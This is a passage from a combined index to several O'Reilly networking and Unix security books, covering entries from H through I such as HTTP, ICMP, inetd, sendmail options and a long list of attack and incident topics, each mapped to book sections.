TCP/IP Network Administration, 12.4.2. Looking for Trouble
HostsFile option : sendmail, 34.8. Alphabetized Reference
hoststat command : sendmail, 36.1.1. hoststat (V8.8 and Above)
HostStatusDirectory option
sendmail, 34.8. Alphabetized Reference
sendmail, B. Host Status File Internals
housekeeping : Building Internet Firewalls, 12.1. Housekeeping
HP (Hewlett-Packard) : Practical UNIX & Internet Security, F.3.4.17. Hewlett-Packard (HP)
HP-UX
access control lists : Practical UNIX & Internet Security, 5.2.5.2. HP-UX access control lists
context-dependent files : Practical UNIX & Internet Security, 5.9.2. Context-Dependent Files
htable command : TCP/IP Network Administration, 3.2. The Host Table
.htaccess file : Practical UNIX & Internet Security, 18.3.1. The access.conf and .htaccess Files
HTML (Hypertext Markup Language) : Building Internet Firewalls, 2.5. The World Wide Web
HTML documents
controlling access to
Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
delivering : TCP/IP Network Administration, 1.7. Application Layer
encrypting : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
server-side includes
Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
html text subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
htpasswd program : Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
HTTP (Hypertext Transfer Protocol)
Building Internet Firewalls, 2.5. The World Wide Web
Practical UNIX & Internet Security, 17.3.9. HyperText Transfer Protocol (HTTP) (TCP Port 80)
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 13.1. The World Wide Web
anonymous FTP and : Practical UNIX & Internet Security, 18.2.4.1. Beware mixing HTTP with anonymous FTP
CERN server : Building Internet Firewalls, 8.6.2. Proxying Characteristics of
configuring : Building Internet Firewalls, 8.6. World Wide Web (WWW) and HTTP
in screened host architecture : Building Internet Firewalls, 9.2.1.5. HTTP
in screened subnet architecture : Building Internet Firewalls, 9.1.1.5. HTTP
logging downloaded files : Practical UNIX & Internet Security, 10.3.5. access_log Log File
message subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
proxying with TIS FWTK : Building Internet Firewalls, 7.7.4. Other TIS FWTK
Secure
Building Internet Firewalls, 8.6.4. Secure HTTP
(see Secure HTTP)
TIS FWTK proxy server : Building Internet Firewalls, 8.6.2. Proxying Characteristics of
http server
group file : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
log files of : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
password file : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
http-gw proxy
Building Internet Firewalls, 7.7.4. Other TIS FWTK
Building Internet Firewalls, 8.6.2. Proxying Characteristics of
httpd.conf file : Practical UNIX & Internet Security, 18.2.1. The Server's UID
hubs
sendmail, 6. The Mail Hub and Delivery Agents
sendmail, 11.3. All Mail from the Hub
accepting mail : sendmail, 15.4. Hub Accepts Mail for Client
changing hostname to : sendmail, 11.6. Handling user@thishost
delivery agent flags for : sendmail, 6.4. Add the Missing Parts to Mhub
$H macro : sendmail, 31.10. Alphabetized Reference
internal name for : sendmail, 11.4.2. A Word About ${HUB}
rules for : sendmail, 17. The Hub's Complex Rules
Hubset rule set
sendmail, 11.2. Rule Set S=
sendmail, 11.4. Rule Set Hubset
human error
Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
humidity : Practical UNIX & Internet Security, 12.2.1.11. Humidity
hunches, verifying : TCP/IP Network Administration, 10.8.1. Testing Rewrite Rules
hvalue() : sendmail, 20.3. Alphabetized V8.8 Subroutines
hypertext links, encrypting : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
Hypertext Markup Language : (see HTML)
Hypertext Transfer Protocol : (see HTTP)
hyphen (-)
in machine conversation : sendmail, 4.2. Verbose (-v)
non-equivalent host : TCP/IP Network Administration, 12.2.5. Secure the r Commands
hyphen/greater than (->), for copying files : TCP/IP Network Administration, 9.6.1. rdist

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

i flag : sendmail, 30.8. Alphabetized F= Flags
I flag : sendmail, 30.8. Alphabetized F= Flags
I line (qf file) : sendmail, 23.9. The qf File Internals
$i macro
sendmail, 14.2.3. The Message-ID: Header
sendmail, 31.10. Alphabetized Reference
i option : (see IgnoreDots (i) option)
I option : (see ResolverOptions (I) option)
-i switch (sendmail) : sendmail, 36.7. Alphabetized Reference
-I switch (sendmail) : sendmail, 36.7. Alphabetized Reference
I-Heard-You (I-H-U) messages : TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
I/O error : sendmail, 36.5.3. EX_IOERR A System I/O Error Occurred
ICMP (Internet Control Message Protocol)
Building Internet Firewalls, 2.10. Network Management Services
Building Internet Firewalls, 6.3.3.3. ICMP
Building Internet Firewalls, C.5.2. Internet Control Message
Practical UNIX & Internet Security, 16.2.4.1. ICMP
TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
echo
Building Internet Firewalls, 8.12.3. ping
(see also ping command)
packets, configuring : Building Internet Firewalls, 8.12.5. Other ICMP Packets
parameter problem message header : TCP/IP Network Administration, F.3. ICMP Parameter Problem Message Header
returning error codes : Building Internet Firewalls, 6.4.2. Returning ICMP
statement (in gated) : TCP/IP Network Administration, B.8.9. The icmp Statement
tracing messages in : TCP/IP Network Administration, B.8.9. The icmp Statement
IDA sendmail
sendmail, History
TCP/IP Network Administration, 10. sendmail
IDEA (International Data Encryption Algorithm)
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.6.3.1. Encrypting files with IDEA
identd daemon
Practical UNIX & Internet Security, 17.3.12. Identification Protocol (auth) (TCP Port
sendmail, 20.2.4. Verify identd Information
Identification field : TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
identification headers : sendmail, 35.6.4. Identification and Control Headers
identification protocol : Practical UNIX & Internet Security, 17.3.12. Identification Protocol (auth) (TCP Port
identifiers
default user
sendmail, 13.2.5. The Default User Identities
sendmail, 22.8.3.1. The DefaultUser option
sendmail, 34.8. Alphabetized Reference
envelope (ENVID), DSN
sendmail, 23.9. The qf File Internals
sendmail, 36.7. Alphabetized Reference
message
sendmail, 13.4. Sending Mail
sendmail, 14.2.3. The Message-ID: Header
sendmail, 26.1.3.5. msgid= the Message-ID: identifier
queue : (see queue identifier)
queue file : (see $i macro)
rule set : sendmail, 29.1.1. Rule-Set Numbers
vendor : sendmail, 27.5.1. The vendor
identity
user : (see usernames)
system : sendmail, 31.7.1. Macros and the System Identity
IDENTPROTO macro : sendmail, 18.8. Alphabetized Reference
IDRP (InterDomain Routing Protocol) : TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
IEEE 802.3 : TCP/IP Network Administration, 1.2. A Data Communications Model
IEEE Computer Society : Practical UNIX & Internet Security, F.1.7. IEEE Computer Society
Ierrs (input errors) : TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
IETF (Internet Engineering Task Force) : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
RFC page : TCP/IP Network Administration, 13.4. Retrieving RFCs
ifconfig
TCP/IP Network Administration, 3.5.1. Reverse Address Resolution Protocol
TCP/IP Network Administration, 6.1. The ifconfig Command
TCP/IP Network Administration, 6.4.1. slattach
TCP/IP Network Administration, 7.2. The Minimal Routing Table
Linux implementation of : TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
putting in startup files : TCP/IP Network Administration, 6.1.5.6. Putting ifconfig in the startup files
setting values indirectly : TCP/IP Network Administration, 6.1.3. Assigning a Subnet Mask
in troubleshooting
TCP/IP Network Administration, 11.2. Diagnostic Tools
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
TCP/IP Network Administration, 11.4.1. Troubleshooting with the ifconfig Command
IFS variable
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
attacks via : Practical UNIX & Internet Security, 11.5.1.2. IFS attacks
ignore (in Swatch command) : Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
IgnoreDots (i) option
sendmail, 34.1.3. Appropriateness of Options
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
ignoring illegal switches : sendmail, 36.7. Alphabetized Reference
IHL (Internet Header Length) : TCP/IP Network Administration, 1.5.1.1. The datagram
image content type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
IMAP (Internet Message Access Protocol)
TCP/IP Network Administration, 4.5.3. Planning Your Mail System
TCP/IP Network Administration, 9.7.2. IMAP Server
imapd file : TCP/IP Network Administration, 9.7.2. IMAP Server
immutable attribute (BSD 4.4-Lite) : Building Internet Firewalls, 5.8.4.3. Mount filesystems as read-only
immutable files : Practical UNIX & Internet Security, 9.1.1. Immutable and Append-Only Files
implicit database class : sendmail, 33.8. Alphabetized Reference
import statement (in gated) : TCP/IP Network Administration, B.10.1. The import Statement
importing NIS accounts
Practical UNIX & Internet Security, 19.4.1. Including or excluding specific accounts:
Practical UNIX & Internet Security, 19.4.4.2. Using netgroups to limit the importing of accounts
imposter on Ethernet : TCP/IP Network Administration, 11.4.2.1. ARP problem case study
in-addr.arpa
domain files
TCP/IP Network Administration, 4.4.1.1. Obtaining an IN-ADDR.ARPA domain
TCP/IP Network Administration, 8.3.5. The Reverse Domain File
TCP/IP Network Administration, 11.6.4. dig: An Alternative to nslookup
TCP/IP Network Administration, 13.6. The White Pages
reverse domain files : TCP/IP Network Administration, C.3.1.6. Domain Name Pointer record
"In-Reply-To:" header line : sendmail, 35.10. Alphabetized Reference
in.named daemon : Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
inbound
packets : Building Internet Firewalls, 6.2.2. Be Careful of `Inbound'
filtering rules for : Building Internet Firewalls, 6.8.6. It Should Apply Rules Separately to
Telnet : Building Internet Firewalls, 6.7.2. Inbound Telnet Service
services : Building Internet Firewalls, 10. Authentication and Inbound
INCDIRS= directive : sendmail, 18.4.3. INCDIRS=
incident response teams
Building Internet Firewalls, 13.1.4.2. CERT-CC or other incident response
Building Internet Firewalls, 13.4.4.2. CERT-CC and other incident response teams
Building Internet Firewalls, A.5. Response Teams and Other Organizations
resources for : Building Internet Firewalls, A.2.2. info.cert.org
incidents, attacks, threats
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
accidental : Building Internet Firewalls, 1.2.3. Stupidity and Accidents
assessing
Practical UNIX & Internet Security, 2.3.3. Adding Up the Numbers
TCP/IP Network Administration, 12.1.1. Assessing the Threat
back doors
Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
Practical UNIX & Internet Security, 6.2.3. Cryptographic Strength
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 11.5. Protecting Yourself
Practical UNIX & Internet Security, 27.1.2. Trusting Trust
in MUDs and IRCs : Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
backup-related
Practical UNIX & Internet Security, 7.1.6. Security for Backups
Practical UNIX & Internet Security, 7.1.6.3. Data security for backups
bacteria programs : Practical UNIX & Internet Security, 11.1.7. Bacteria and Rabbits
biological threats : Practical UNIX & Internet Security, 12.2.1.7. Bugs (biological)
broadcast storms : Practical UNIX & Internet Security, 25.3.2. Message Flooding
via CGI scripts : Practical UNIX & Internet Security, 18.2.3.2. Testing is not enough!
changing file owners : Practical UNIX & Internet Security, 5.7. chown: Changing a File's Owner
changing system clock : Practical UNIX & Internet Security, 5.1.5. File Times
code breaking
Practical UNIX & Internet Security, 6.1.1. Code Making and Code Breaking
(see also cryptography)
command channel : Building Internet Firewalls, 8.1. Electronic Mail
commonly attacked accounts : Practical UNIX & Internet Security, 8.1.2. Default Accounts
computer failures : Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
contacting service providers about : Building Internet Firewalls, 13.4.4.3. Vendors and service providers
data-driven attacks : Building Internet Firewalls, 8.1. Electronic Mail
decode aliases : Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
deep tree structures : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
denial of service
Building Internet Firewalls, 1.2.1.2. Denial of Service
Practical UNIX & Internet Security, 1.5. Role of This Book
Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
Practical UNIX & Internet Security, 17.3.21.5. Denial of service attacks under X
Practical UNIX & Internet Security, 25. Denial of Service Attacks and Solutions
Practical UNIX & Internet Security, 25.3. Network Denial of Service Attacks
Practical UNIX & Internet Security, 25.3.4. Clogging
TCP/IP Network Administration, 12.1.1. Assessing the Threat
accidental
Building Internet Firewalls, 1.2.3. Stupidity and Accidents
Practical UNIX & Internet Security, 25.2.5. Soft Process Limits: Preventing Accidental Denial
automatic lockout : Practical UNIX & Internet Security, 3.3. Entering Your Password
checklist for : Practical UNIX & Internet Security, A.1.1.24. Chapter 25: Denial of Service Attacks and Solutions
destructive attacks : Practical UNIX & Internet Security, 25.1. Destructive Attacks
disk attacks
Practical UNIX & Internet Security, 25.2.2. Disk Attacks
Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
inodes : Practical UNIX & Internet Security, 25.2.2.3. Inode problems
internal inetd services : Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
on networks
Practical UNIX & Internet Security, 25.3. Network Denial of Service Attacks
Practical UNIX & Internet Security, 25.3.4. Clogging
overload attacks
Practical UNIX & Internet Security, 25.2. Overload Attacks
Practical UNIX & Internet Security, 25.2.5. Soft Process Limits: Preventing Accidental Denial
via syslog : Practical UNIX & Internet Security, 10.5.1. The syslog.conf Configuration File
system overload attacks : Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
X Window System : Practical UNIX & Internet Security, 17.3.21.5. Denial of service attacks under X
detecting, plan for : Building Internet Firewalls, 13.4.1. Planning for Detection
dictionary attacks
Building Internet Firewalls, 10.3.1. One-Time Passwords
Practical UNIX & Internet Security, 8.6.1. The crypt()
TCP/IP Network Administration, 12.2. User Authentication
disposed materials : Practical UNIX & Internet Security, 12.3.3. Other Media
DNS client flooding : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
DNS nameserver attacks : Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
DNS zone transfers : Practical UNIX & Internet Security, 17.3.6.1. DNS zone transfers
documenting
Building Internet Firewalls, 13.1.5. Snapshot the System
Building Internet Firewalls, 13.1.7. Document the Incident
planning for : Building Internet Firewalls, 13.4.5. Planning for Snapshots
dormant accounts
Practical UNIX & Internet Security, 8.4. Managing Dormant Accounts
Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
evaluating, plan for : Building Internet Firewalls, 13.4.2. Planning for Evaluation of the Incident
false syslog entries : Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
filename attacks : Practical UNIX & Internet Security, 11.5.1.4. Filename attacks
having tools and supplies for : Building Internet Firewalls, 13.5.5. Keeping a Cache of Tools and Supplies
hidden space : Practical UNIX & Internet Security, 25.2.2.7. Hidden space
hijacking : Building Internet Firewalls, 10.1.1. Hijacking
HOME variable attacks : Practical UNIX & Internet Security, 11.5.1.3. $HOME attacks
identifying and quantifying
Practical UNIX & Internet Security, 2.2.1.2. Identifying threats
Practical UNIX & Internet Security, 2.2.2. Review Your Risks
IFS variable attacks : Practical UNIX & Internet Security, 11.5.1.2. IFS attacks
intruders/attackers
Building Internet Firewalls, 1.2.1.1. Intrusion
Practical UNIX & Internet Security, 1. Introduction
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
(see also finger service)
(see also firewalls)
(see also TFTP)
confronting : Practical UNIX & Internet Security, 24.2.2. What to Do When You Catch Somebody
creating hidden files : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
discovering
Practical UNIX & Internet Security, 24.2. Discovering an Intruder
Practical UNIX & Internet Security, 24.2.6. Anatomy of a Break-in
legal options regarding : Practical UNIX & Internet Security, 26.1. Legal Options After a Break-in
pursuing and capturing : Building Internet Firewalls, 13.3. Pursuing and Capturing the
recovering from : Building Internet Firewalls, 13.1.6. Restore and Recover
responding to
Practical UNIX & Internet Security, 24. Discovering a Break-in
Practical UNIX & Internet Security, 24.7. Damage Control
revealing DNS information to : Building Internet Firewalls, 8.10.4.3. Revealing too much information to
reviewing response strategies : Building Internet Firewalls, 13.4.8. Periodic Review of Plans
slower machines and : Building Internet Firewalls, 5.3.2. How Fast a Machine?
tracking from log files : Practical UNIX & Internet Security, 24.3. The Log Files: Discovering an Intruder's
types of : Building Internet Firewalls, 1.2.2. Types of Attackers
letting in accidentally : Practical UNIX & Internet Security, 11.4. Entry
logic bombs
Practical UNIX & Internet Security, 11.1.3. Logic Bombs
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
mailing list for : Practical UNIX & Internet Security, E.1.3.9. RISKS
media failure : Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
meet-in-the-middle attacks : Practical UNIX & Internet Security, 6.4.5.1. Double DES
MUD/IRC client programs : Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
multiple failed attacks : Building Internet Firewalls, 12.2.3. The Good, the Bad, and the Ugly
newly created accounts : Practical UNIX & Internet Security, 24.4.1. New Accounts
NIS, unintended disclosure : Practical UNIX & Internet Security, 19.4.5. Unintended Disclosure of Site Information with NIS
notifying people about
Building Internet Firewalls, 13.1.4. Make `Incident in Progress'
Building Internet Firewalls, 13.4.4. Planning for Notification of People
TCP/IP Network Administration, 12.4.2. Looking for Trouble
TCP/IP Network Administration, 12.4.2.2. Checking login activity
with NNTP : Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
open (guest) accounts
Practical UNIX & Internet Security, 8.1.4. Open Accounts
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
password attacks : Building Internet Firewalls, 10.3.1. One-Time Passwords
PATH variable attacks : Practical UNIX & Internet Security, 11.5.1.1. PATH attacks
plaintext attacks : Practical UNIX & Internet Security, 6.2.3. Cryptographic Strength
playback (replay) attacks : Practical UNIX & Internet Security, 19.6.1.2. Using the ticket granting ticket
practicing drills for : Building Internet Firewalls, 13.5.7. Doing Drills
programmed
Practical UNIX & Internet Security, 11. Protecting Against Programmed Threats
Practical UNIX & Internet Security, 11.6.2. Shared Libraries
Practical UNIX & Internet Security, A.1.1.10. Chapter 11: Protecting Against Programmed Threats
Practical UNIX & Internet Security, D.1.4. Computer Viruses and Programmed Threats
authors of : Practical UNIX & Internet Security, 11.3. Authors
damage from : Practical UNIX & Internet Security, 11.2. Damage
recovering from : Building Internet Firewalls, 13.1.6. Restore and Recover
planning to : Building Internet Firewalls, 13.4.6. Planning for Restoration and Recovery
replay attacks : Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
responding to
Building Internet Firewalls, 12.2.5. Responding to Attacks
Building Internet Firewalls, 13. Responding to Security Incidents
reviewing response strategies : Building Internet Firewalls, 13.4.8. Periodic Review of Plans
rsh, problems with : Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
sendmail problems : Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
spoofed network connection : Practical UNIX & Internet Security, 8.5.3.1. Trusted path
start-up file attacks
Practical UNIX & Internet Security, 11.5.2. Start-up File Attacks
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
system clock : (see system clock)
theft : (see theft)
/tmp directory attacks : Practical UNIX & Internet Security, 25.2.4. /tmp Problems
toll fraud : Practical UNIX & Internet Security, 14.4.1. One-Way Phone Lines
traffic analysis : Practical UNIX & Internet Security, 18.4. Avoiding the Risks of Eavesdropping
tree-structure attacks : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
Trojan horses
Practical UNIX & Internet Security, 4.3.5. Using su with Caution
Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Practical UNIX & Internet Security, 11.5. Protecting Yourself
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
Kerberos and : Practical UNIX & Internet Security, 19.6.5. Kerberos Limitations
X clients : Practical UNIX & Internet Security, 17.3.21.2. X security
trusted hosts : (see trusted hosts)
types of : Building Internet Firewalls, 1.2. What Are You Trying To Protect
unattended terminals
Practical UNIX & Internet Security, 12.3.5. Unattended Terminals
Practical UNIX & Internet Security, 12.3.5.2. X screen savers
unowned files : Practical UNIX & Internet Security, 24.4.1.8. Unowned files
vandalism
Practical UNIX & Internet Security, 12.2.4. Vandalism
Practical UNIX & Internet Security, 12.2.4.3. Network connectors
viruses
Building Internet Firewalls, 1.4.2.4. A firewall can't protect against
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.5. Viruses
Practical UNIX & Internet Security, 27.2.2. Viruses on the Distribution Disk
bacteria programs : Practical UNIX & Internet Security, 11.1.7. Bacteria and Rabbits
references on : Practical UNIX & Internet Security, D.1.4. Computer Viruses and Programmed Threats
war and terrorism : Practical UNIX & Internet Security, 12.2.5. Defending Against Acts of War and Terrorism
weakness-finding tools : Practical UNIX & Internet Security, 11.1.1. Security Tools
by web browsers
Practical UNIX & Internet Security, 18.5. Risks of Web Browsers
Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
worms : Practical UNIX & Internet Security, 11.1.6. Worms
include command : sendmail, 16.2.1. include
*include* delivery agent : sendmail, 30.5.1. The *file* and *include* Agents
:include: directive
sendmail, 22.5.2. Permissions for :include:
sendmail, 23.9. The qf File Internals
sendmail, 25.2. :include: Mailing Lists
sendmail, 30.8. Alphabetized F= Flags
includes : (see server-side includes)
Includes option : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
IncludesNoExec option : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
incoming directories, FTP : Building Internet Firewalls, 8.2.1.6. Be careful of writable
incompatibility problems, handling : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
incremental backups : Practical UNIX & Internet Security, 7.1.3. Types of Backups
indecent material : Practical UNIX & Internet Security, 26.4.5. Pornography and Indecent Material
indefinite tokens : TCP/IP Network Administration, 10.6.1. Pattern Matching
substituting : TCP/IP Network Administration, 10.6.2. Transforming the Address
index.html file, absence of : Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
individual host assignment of addresses : TCP/IP Network Administration, 4.2.1.1. Assigning host addresses
inetd daemon
Building Internet Firewalls, 5.8.2.1. How are services managed?
Practical UNIX & Internet Security, 17.1.2. Starting the Servers
Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
TCP/IP Network Administration, 5.4. The Internet Daemon
denial-of-service attacks : Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
modifying for anonymous FTP : Building Internet Firewalls, 8.2.1.3. Providing anonymous
-nowait option : Practical UNIX & Internet Security, 25.3.1. Service Overloading
starting bootpd from : TCP/IP Network Administration, 9.4. A BOOTP Server
starting bootpgw from : TCP/IP Network Administration, 9.4.1. BOOTP gateway
starting POP3 from : TCP/IP Network Administration, 9.7.1. POP Server
-t (trace) option : Practical UNIX & Internet Security, 10.3.6. Logging Network Services
inetd.conf file
Practical UNIX & Internet Security, 11.5.3.2. inetd.conf
Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, 12.3.1. Remove Unnecessary Software
TCP/IP Network Administration, 12.4.2. Looking for Trouble
editing in tcpd : TCP/IP Network Administration, 12.5.1. wrapper
inetinit script : TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
"Infinite loop in ruleset" error : sendmail, 28.6.2. Rewrite Once Prefix: $:
infinite loops, detecting possible : TCP/IP Network Administration, 10.6.2. Transforming the Address
information
ensuring integrity of : TCP/IP Network Administration, 12.1.1. Assessing the Threat
gathering, first phase in problem-solving : TCP/IP Network Administration, 11.1. Approaching a Problem
lookup services, configuring : Building Internet Firewalls, 8.8. Information Lookup Services
passing to users : TCP/IP Network Administration, 4.6. Informing the Users
disseminating mask information : TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
resources, finding : TCP/IP Network Administration, 13. Internet Information Resources
theft and espionage
Building Internet Firewalls, 1.2.1.3. Information Theft
Building Internet Firewalls, 1.2.2.4. Spies (Industrial and
Practical UNIX & Internet Security, 11.3. Authors
(see also theft)
init program
Practical UNIX & Internet Security, 5.3.2. Common umask Values
Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
init.d directory : TCP/IP Network Administration, 9.1.1. NFS Daemons
autofs script : TCP/IP Network Administration, 9.1.4. NFS Automounter
inetinit script : TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
sendmail script : TCP/IP Network Administration, 10.2. Running sendmail as a Daemon
initgroups command : sendmail, 34.8. Alphabetized Reference
Initial Sequence Number (ISN) : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
initialization vector (IV) : Practical UNIX & Internet Security, 6.4.4.2. DES modes
initializing
alias database : sendmail, 36.7. Alphabetized Reference
environment variables
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
sendmail, 36.4.2.1. Initialize the environment
macros : sendmail, 36.4.2.2. Initialize macros
system, files for : Practical UNIX & Internet Security, 11.5.3.5. System initialization files
inittab program
Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
INND program : Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
inodes
Practical UNIX & Internet Security, 5.1. Files
Practical UNIX & Internet Security, 5.1.2. Inodes
change time : (see ctime)
for device files : Practical UNIX & Internet Security, 5.6. Device Files
numbers for : sendmail, 23.9. The qf File Internals
problems with : Practical UNIX & Internet Security, 25.2.2.3. Inode problems
input/output (I/O)
checking for meta characters : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
input errors (Ierrs) : TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
portable library : Practical UNIX & Internet Security, 1.3. History of UNIX
insects : Practical UNIX & Internet Security, 12.2.1.7. Bugs (biological)
insecure networks : Building Internet Firewalls, 4.4.2. Insecure Networks
installation planning sheets : TCP/IP Network Administration, 4.6.1. Sample Planning Sheets
installing
cables : Practical UNIX & Internet Security, 12.2.4.2. Network cables
db library package : sendmail, C.3. Compile and Install
filesystems as read-only : Building Internet Firewalls, 5.8.4.3. Mount filesystems as read-only
Internet services : Building Internet Firewalls, 5.8.3. Installing and Modifying Services
Kerberos : Practical UNIX & Internet Security, 19.6.3. Installing Kerberos
kernel : Building Internet Firewalls, 5.8.4.1. Reconfigure and rebuild the kernel
logging installations : Practical UNIX & Internet Security, 10.7.2.1. Exception and activity reports
operating system : Building Internet Firewalls, 5.8.1.1. Start with a minimal clean operating system
physical security plan for : Practical UNIX & Internet Security, 12.1.1. The Physical Security Plan
sendmail
sendmail, 2.1. Get the Source
sendmail, 18.6. Install sendmail
sendmail.cf file : sendmail, 15.6. Install the client.cf File
software on machine : Building Internet Firewalls, 5.8.4. Reconfiguring for Production
insurance
Practical UNIX & Internet Security, 26.1. Legal Options After a Break-in
Practical UNIX & Internet Security, 26.2.6. Other Tips
int domain : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
integrity
Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
Practical UNIX & Internet Security, 9. Integrity Management
Practical UNIX & Internet Security, 9.3. A Final Note
Practical UNIX & Internet Security, 11.1.5. Viruses
Practical UNIX & Internet Security, 12.3. Protecting Data
Practical UNIX & Internet Security, 12.3.6. Key Switches
information : (see information)
Kerberos : Practical UNIX & Internet Security, 19.6.1.3. Authentication, data integrity, and secrecy
management checklist : Practical UNIX & Internet Security, A.1.1.8. Chapter 9: Integrity Management
Secure RPC : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
software for checking : Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
intelligent proxy servers : Building Internet Firewalls, 7.3.3. Intelligent Proxy Servers
interactive
logins : TCP/IP Network Administration, 4.5.3. Planning Your Mail System
mode : TCP/IP Network Administration, 8.4. Using nslookup
protocols : TCP/IP Network Administration, 9.6. Managing Distributed Servers
InterDomain Routing Protocol (IDRP) : TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
interfaces
checking with ifconfig : TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
connectors : TCP/IP Network Administration, 1.2. A Data Communications Model
determining name of : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
multiple : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
not enabled (*) : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
statements (in gated) : TCP/IP Network Administration, B.6. Interface Statements
interior router
Building Internet Firewalls, 4.2.3.3. Interior router
TCP/IP Network Administration, 12.7. Firewalls
configuring : Building Internet Firewalls, 9.1.2.1. Interior Router
merging with bastion host : Building Internet Firewalls, 4.3.4. It's Dangerous to Merge the Bastion
merging with exterior router : Building Internet Firewalls, 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
multiple : Building Internet Firewalls, 4.3.5. It's Dangerous to Use Multiple
intermediate gateway : (see gateways)
